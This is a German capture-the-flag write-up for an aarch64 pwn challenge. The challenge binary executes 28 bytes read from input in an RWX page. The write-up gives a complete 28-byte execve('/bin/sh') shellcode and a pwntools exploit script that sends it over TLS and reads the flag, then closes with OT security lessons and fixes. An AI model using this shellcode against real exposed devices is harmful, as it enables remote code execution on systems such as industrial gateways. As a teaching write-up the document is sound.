Deutschlands Bester Hacker - Geflüster (Pwn) - Das Writeup

Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.

Wettbewerb Deutschlands Bester Hacker 2026 — Qualifikation
Kategorie PwnBinary ExploitationAusnutzung von Speicher- oder Logikfehlern in kompilierten Anwendungen.
Punkte 413
Architektur ARM aarch64 (ELF 64-bit LSB, dynamisch gelinkt, not stripped)
Angriffsklasse ShellcodeShellcodeKompakter Maschinencode, der nach erfolgreicher Ausnutzung direkt vom Zielprozess ausgeführt wird.-Ausführung (execve("/bin/sh")) in exakt 28 Bytes
Verbindung ncat --ssl <host> <port> (TLSTransport Layer SecuritySchützt Netzwerkverbindungen durch Verschlüsselung, Authentifizierung und Integritätsprüfung.)

Die Challenge

Bei der Aufarbeitung eines OT-Vorfalls in einer Kläranlage taucht ein unscheinbares Gerät auf: ein Feldbus-Gateway, das offiziell nur Messwerte zwischen SPS und Leitstelle weiterreichen soll. Auf dem Gerät läuft ein Debug-Dienst, der beim letzten Firmware-Update offenbar vergessen wurde zu deaktivieren.

Der Dienst meldet sich mit einem einzigen Satz und wartet dann. Er nimmt entgegen, was man ihm schickt — und führt es sofort aus. Keine Formatprüfung, keine Kommandosprache. Nur Bytes, direkt auf der CPU des Gateways.

Der Flavor-Text ist bereits die halbe Lösung: „Nur Bytes, direkt auf der CPU“ beschreibt wörtlich einen Shellcode-Runner. Das Gateway spielt eine ARM-CPU (aarch64), wie sie in eingebetteten OTOperational TechnologyHardware und Software zur Überwachung oder Steuerung physischer Anlagen, Maschinen und industrieller Prozesse.-Geräten typisch ist.

Aufklärung

Zuerst der Dateityp:

$ file challenge
challenge: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux-aarch64.so.1,
BuildID[...], for GNU/Linux 3.7.0, not stripped

Ein ARM-aarch64-Binary, nicht gestrippt — die Symbole sind erhalten. Die definierten und importierten Funktionen verraten das Programmverhalten schon fast vollständig:

$ nm challenge | grep -E ' (T|U) '
0000000000400744 T main
                 U mmap@GLIBC_2.17
                 U read@GLIBC_2.17
                 U puts@GLIBC_2.17
                 U setvbuf@GLIBC_2.17
                 U perror@GLIBC_2.17

mmap + read + ein direkter Aufruf des gelesenen Puffers ist das klassische Rezept für einen Shellcode-Loader. Der Begrüßungssatz im .rodata ist das bekannte Zitat „The quieter you become, the more you are able to hear.“ — reiner Flavor, dient als Banner.

Die Schwachstelle

Das Disassembly von main, kommentiert:

; --- mmap(NULL, 0x1000, PROT_READ|WRITE|EXEC, MAP_PRIVATE|ANON, -1, 0) ---
mov  x5, #0x0            ; offset = 0
mov  w4, #-1             ; fd    = -1
mov  w3, #0x22           ; flags = MAP_PRIVATE(0x02) | MAP_ANONYMOUS(0x20)
mov  w2, #0x7            ; prot  = PROT_READ|PROT_WRITE|PROT_EXEC   <-- RWX!
mov  x1, #0x1000         ; len   = 4096
mov  x0, #0x0            ; addr  = NULL
bl   mmap
str  x0, [sp, #0x18]     ; page-Adresse merken

; --- puts("The quieter you become, ...") ---
add  x0, x0, #0x828
bl   puts

; --- read(0, page, 0x1c) ---
mov  x2, #0x1c           ; count = 28 Bytes
ldr  x1, [sp, #0x18]     ; buf   = page
mov  w0, #0x0            ; fd    = stdin
bl   read

; --- Sprung in die Page: unser Input wird ausgeführt ---
ldr  x0, [sp, #0x18]
blr  x0                  ; <-- führt die gelesenen Bytes als Code aus

In Worten:

  1. mmap legt eine 4 KB große RWX-Page an (prot = 7). Kein NX, kein mprotect-Trick nötig.
  2. Das Banner wird ausgegeben.
  3. read(0, page, 0x1c) liest genau 28 Bytes von stdin in die Page.
  4. blr x0 springt in die Page — unsere 28 Bytes werden als Maschinencode ausgeführt.

Es gibt keinerlei Prüfung des Inputs. Die einzige Einschränkung: 0x1c = 28 Bytes. Genau das hebt die Aufgabe von „baby“ auf „easy“.

Der Angriff

Ziel ist eine Shell: execve("/bin/sh", NULL, NULL).

Ein naiver aarch64-execve-Shellcode, der "/bin/sh\0" per movz/movk in ein Register baut und auf den Stack legt, braucht ~40 Bytes und passt nicht in 28.

Der Trick: den String direkt hinter den Code legen und per PC-relativem adr adressieren. Dann kostet der String nur seine 8 nackten Bytes, und der Code darüber schrumpft auf 5 Instruktionen:

_start:
    adr  x0, sh          ; x0 = &"/bin/sh"   (PC-relativ)
    mov  x1, xzr         ; argv = NULL
    mov  x2, xzr         ; envp = NULL
    mov  x8, #221        ; __NR_execve  (aarch64-Syscall-Nummer)
    svc  #0              ; Syscall auslösen
sh:
    .ascii "/bin/sh\0"

Die Rechnung geht punktgenau auf:

5 Instruktionen × 4 Bytes = 20 Bytes Code
+ "/bin/sh\0"            =  8 Bytes String
------------------------------------------
                          28 Bytes = 0x1c

Dass das read exakt 28 Bytes liest, ist also kein Zufall — die Challenge ist auf genau diese Lösung zugeschnitten.

Assemblieren und verifizieren:

$ clang -target aarch64-linux-gnu -nostdlib -c sc.s -o sc.o
$ objdump -d sc.o
0: 100000a0   adr  x0, 0x14 <sh>
4: aa1f03e1   mov  x1, xzr
8: aa1f03e2   mov  x2, xzr
c: d2801ba8   mov  x8, #0xdd        ; = 221
10: d4000001  svc  #0
14: 2f 62 69 6e 2f 73 68 00        ; "/bin/sh"

aarch64-Detail: Die Syscall-Nummer steht in x8 (nicht x0), Argumente in x0..x5, ausgelöst mit svc #0. execve ist Nr. 221. Das unterscheidet sich von x86-64 (rax, syscall, Nr. 59) — ein häufiger Stolperstein.

Der ExploitExploitCode oder Technik, die eine Schwachstelle gezielt ausnutzt., über TLS:

#!/usr/bin/env python3
import sys
from pwn import *

context.arch = "aarch64"

# execve("/bin/sh", NULL, NULL) — exakt 28 Bytes, fest eingebettet
shellcode = bytes.fromhex(
    "a0000010"           # adr  x0, sh
    "e1031faa"           # mov  x1, xzr
    "e2031faa"           # mov  x2, xzr
    "a81b80d2"           # mov  x8, #221  (__NR_execve)
    "010000d4"           # svc  #0
    "2f62696e2f736800"   # "/bin/sh\0"
)
assert len(shellcode) == 0x1c

host, port = sys.argv[1], int(sys.argv[2])
io = remote(host, port, ssl=True)          # entspricht `ncat --ssl host port`

io.recvline()                              # Banner abholen
io.send(shellcode)                         # 28 Bytes -> read() -> blr x0
io.sendline(b"cat flag* 2>/dev/null; ls")  # Flag greifen
io.interactive()

Die Flag

$ python3 solve.py <host> <port>
[+] Opening connection: Done
[*] Banner: The quieter you become, the more you are able to hear.
[*] Switching to interactive mode
DBH{...}

Was ich mitnehme

Die Challenge modelliert ein reales OT-Sicherheitsproblem. Der „vergessene Debug-Dienst“ ist kein konstruiertes Szenario:

  • Vergessene Wartungs- und Debug-Schnittstellen in Firmware sind ein Klassiker bei Feldbus-Gateways, SPSen und RTUs. Sie überleben Updates, weil niemand sie dokumentiert.
  • RWX-Speicher plus ungeprüfter Input = Remote Code ExecutionRemote Code ExecutionSchwachstelle oder Angriff, der Code auf einem entfernten Ziel ausführen lässt.. Hier ist es wörtlich ein read → call. In echter Firmware sieht man dieselbe Klasse subtiler: ein Update-Mechanismus ohne Signaturprüfung, ein Diagnose-Endpunkt ohne Auth.
  • OT-Netze sind flach. Eine RCE auf einem Gateway zwischen SPSSpeicherprogrammierbare SteuerungIndustrierechner, der Sensorwerte zyklisch einliest und daraus Aktorbefehle für einen Prozess ableitet. und Leitstelle heißt oft: Vollzugriff auf den Prozess — in diesem Fall eine Kläranlage.
Fundstelle Fix
Debug-Dienst in Produktion aktiv Build-Flags trennen (Debug vs. Release), Dienst hart entfernen, nicht nur „abschalten“
Ungeprüfter Input wird ausgeführt Niemals externen Input als Code behandeln; keine read → call-Pfade
RWX-Speicher (W^X-Verletzung) Seiten nie gleichzeitig schreib- und ausführbar mappen
Kein Auth am Netzwerk-Dienst Authentisierung + Netzsegmentierung (OT/IT-Trennung)